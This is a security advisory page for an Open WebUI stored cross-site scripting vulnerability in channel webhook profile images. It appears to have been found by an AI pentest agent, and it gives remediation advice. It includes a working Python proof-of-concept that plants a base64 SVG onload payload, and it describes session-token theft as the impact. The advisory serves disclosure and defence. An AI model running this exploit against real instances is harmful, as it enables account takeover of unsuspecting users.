Open WebUI CVE-2026-45314
HIGHSeverity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
6DescriptionGitHub Advisory
As part of our research on improving our AI pentest, we have uncovered the following issue in Open WebUI. We've manually verified and tided up the report, but you can also find the original agent finding at the bottom of this report.
Summary
The channel webhook create/update flow accepts arbitrary profile_image_url values, including data:image/svg+xml;base64,... payloads. The profile image endpoint then decodes and serves this SVG as image/svg+xml without sanitization, allowing attacker-controlled script handlers (for example onload) to execute when the profile-image URL is opened in the browser.
Details
The server accepts data:image/svg+xml;base64,... values for profile_image_url when creating or updating a webhook. Later, GET /api/v1/channels/webhooks/{webhook_id}/profile/image detects data:image, base64-decodes it, derives the media type from the header (e.g., image/svg+xml), and returns a StreamingResponse with Content-Disposition: inline and media_type set to image/svg+xml. There is no sanitization or transformation. When this URL is opened in a browser, SVG event handlers such as onload execute in the application origin, resulting in stored XSS.
PoC
- Set up a new instance of Open WebUI and log in as admin
- In the Admin Panel, enable *Channels (Beta)* and click Save
- Create a low-privilege user in the Users tab
- As the attacker, use the low-privilege user to run the following script:
import base64
import secrets
import requests
BASE_URL = "http://127.0.0.1:14000"
EMAIL = "low@local.test"
PASSWORD = "low"
CHANNEL_NAME_PREFIX = "xsswh-poc"
WEBHOOK_NAME = "xss-webhook-poc"
SVG_CANARY = '<svg xmlns="http://www.w3.org/2000/svg" onload="alert(origin)"></svg>'
if __name__ == "__main__":
s = requests.Session()
s.headers.update({"Content-Type": "application/json"})
r = s.post(
f"{BASE_URL}/api/v1/auths/signin",
json={"email": EMAIL, "password": PASSWORD},
timeout=30,
)
r.raise_for_status()
s.headers["Authorization"] = f"Bearer {r.json()['token']}"
r = s.post(
f"{BASE_URL}/api/v1/channels/create",
json={
"name": f"{CHANNEL_NAME_PREFIX}-{secrets.token_hex(4)}",
"type": "group",
"user_ids": [],
"group_ids": [],
},
timeout=30,
)
r.raise_for_status()
channel_id = r.json()["id"]
payload = "data:image/svg+xml;base64," + base64.b64encode(SVG_CANARY.encode()).decode()
r = s.post(
f"{BASE_URL}/api/v1/channels/{channel_id}/webhooks/create",
json={"name": WEBHOOK_NAME, "profile_image_url": payload},
timeout=30,
)
r.raise_for_status()
webhook_id = r.json()["id"]
print(f"{BASE_URL}/api/v1/channels/webhooks/{webhook_id}/profile/image")This should print a URL like the following, which when visited (by any user), triggers a JavaScript popup proving XSS:
http://127.0.0.1:14000/api/v1/channels/webhooks/aa7c925f-4584-4274-82bf-33a7e98a3365/profile/image
<img width="1079" height="222" alt="image" src="https://github.com/user-attachments/assets/ce158ace-d14f-4a73-aeb0-e828aff005df" />
Impact
Conditions required: The victim must be an authenticated, verified user. Channel feature must be enabled.
Stored XSS enables arbitrary JavaScript execution in the context of the application's origin for any viewer who loads the malicious profile image URL. An attacker can exfiltrate session tokens (localstorage) or API keys stored in the page context, perform unauthorized actions on behalf of the victim via same-origin APIs, alter settings, or pivot to broader account compromise. Because this vector is persisted in the database as part of a webhook's profile image, it remains active until removed.
Original Agent Report
<img width="400" alt="app aikido dev_ai-pentests_projects_116389_assessments_019d67d4-81c8-7dd2-bb9e-0a4a774b2c78_issues_sidebarIssue=20439766 (5)" src="https://github.com/user-attachments/assets/0bfb2c7c-f7c4-49cd-a262-5ed9e1bb10df" />
AnalysisAI
Stored cross-site scripting in Open WebUI versions 0.9.2 and earlier allows authenticated low-privileged users to persist malicious SVG payloads through the channel webhook profile_image_url field, which the server later serves verbatim as image/svg+xml. Any verified user who loads the resulting profile image URL executes attacker-controlled JavaScript in the application origin, enabling session theft and account takeover. Publicly available exploit code exists in the form of a working Python PoC published in the GHSA advisory; no public exploit identified at time of analysis as actively used in the wild.
Technical ContextAI
Open WebUI is a self-hosted web frontend for large language models (pkg:pip/open-webui) written in Python with a FastAPI backend. The vulnerable code path is in the Channels (Beta) feature: the POST/PATCH handlers for /api/v1/channels/{channel_id}/webhooks/create accept a profile_image_url field with no validation of the URI scheme or content. When GET /api/v1/channels/webhooks/{webhook_id}/profile/image is called, the server detects the data: prefix, base64-decodes the payload, parses the media type directly from the attacker-supplied data URI header, and returns it via a FastAPI StreamingResponse with Content-Disposition: inline and media_type=image/svg+xml. CWE-87 (Improper Neutralization of Alternate XSS Syntax) applies because the attack abuses SVG's embedded scripting capability (event handlers like onload) rather than classic HTML tag injection - the server trusts the data URI to dictate its own MIME type and never sanitizes the SVG DOM.
RemediationAI
Vendor-released patch: 0.9.3 - upgrade the open-webui pip package to 0.9.3 or later (pip install --upgrade open-webui, or pull the corresponding container image tag) as described at https://github.com/open-webui/open-webui/releases/tag/v0.9.3 and the advisory at https://github.com/open-webui/open-webui/security/advisories/GHSA-3856-3vxq-m6fc. If immediate upgrade is not possible, administrators can disable the Channels (Beta) feature in the Admin Panel, which removes the vulnerable webhook endpoints entirely at the cost of losing channel functionality for users; alternatively, restrict account creation and revoke channel-creation privileges from low-trust users to limit who can plant a stored payload, accepting that any verified user who can create a channel webhook can still exploit it. As a defense-in-depth measure, place the instance behind a reverse proxy that rewrites the Content-Type for /api/v1/channels/webhooks/*/profile/image responses to a safe type such as application/octet-stream or strips data:image/svg+xml responses, recognizing that this may break legitimate SVG profile images.
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External POC / Exploit Code
Leaving vuln.today
GHSA-3856-3vxq-m6fc